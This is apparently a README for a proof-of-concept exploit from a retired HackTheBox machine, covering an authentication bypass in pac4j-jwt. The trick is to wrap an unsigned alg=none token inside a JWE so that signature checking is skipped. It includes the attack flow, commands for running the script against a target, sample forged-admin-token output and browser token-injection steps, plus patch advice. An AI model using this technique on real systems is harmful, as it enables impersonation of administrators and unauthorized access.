
Proof-of-Concept (PoC) for an authentication bypass vulnerability affecting applications using pac4j-jwt with JWE (JSON Web Encryption).
| Field | Details |
|---|
| Name | Principal |
| Platform | HackTheBox |
| Difficulty | — |
| Status | Retired |
Affected library: pac4j-jwt < 4.5.9 / 5.7.9 / 6.3.3
Severity: Critical
Type: Authentication Bypass
A logic flaw in JwtAuthenticator allows an attacker to bypass authentication
by wrapping an unsigned PlainJWT (alg=none) inside a JWE (encrypted JWT).
When the server decrypts the JWE, it attempts to parse the inner token as a
SignedJWT. Because the inner token is a PlainJWT, the SignedJWT object is
null and signature verification is skipped entirely. The server then builds a
user profile from the unverified claims — allowing full impersonation of any
user, including admins.
Craft malicious claims (sub=admin, role=ROLE_ADMIN)
↓
Build unsigned PlainJWT (alg=none)
↓
Wrap PlainJWT inside JWE using server's RSA public key
↓
Submit JWE token to server
↓
Server decrypts JWE → finds PlainJWT → skips signature check → grants access
See exploit.py
Upgrade pac4j-jwt to a patched version:
4.5.9 or later5.7.9 or later6.3.3 or laterOr explicitly reject PlainJWT inner tokens after JWE decryption:
if (jwt instanceof PlainJWT) {
throw new CredentialsException("PlainJWT not allowed inside JWE");
}
/api/auth/jwks
alg: noneWrap inside JWE using public key
Send as:
Authorization: Bearer <token>
pip install jwcrypto requests
python3 poc.py \
--jwks-url http://target/api/auth/jwks \
--target http://target/api/dashboard
[+] Forged Token:
eyJhbGciOiJSU0EtT0FFUC0yNTYi...
[+] Browser Injection:
sessionStorage.setItem("auth_token", "eyJhbGciOiJSU0EtT0FFUC0yNTYi...")
[+] Status: 200
{"user":{"username":"admin","role":"ROLE_ADMIN"}}
Open DevTools → Console:
sessionStorage.setItem("auth_token", "<PASTE_TOKEN_HERE>")
Then navigate to:
/dashboard
alg: none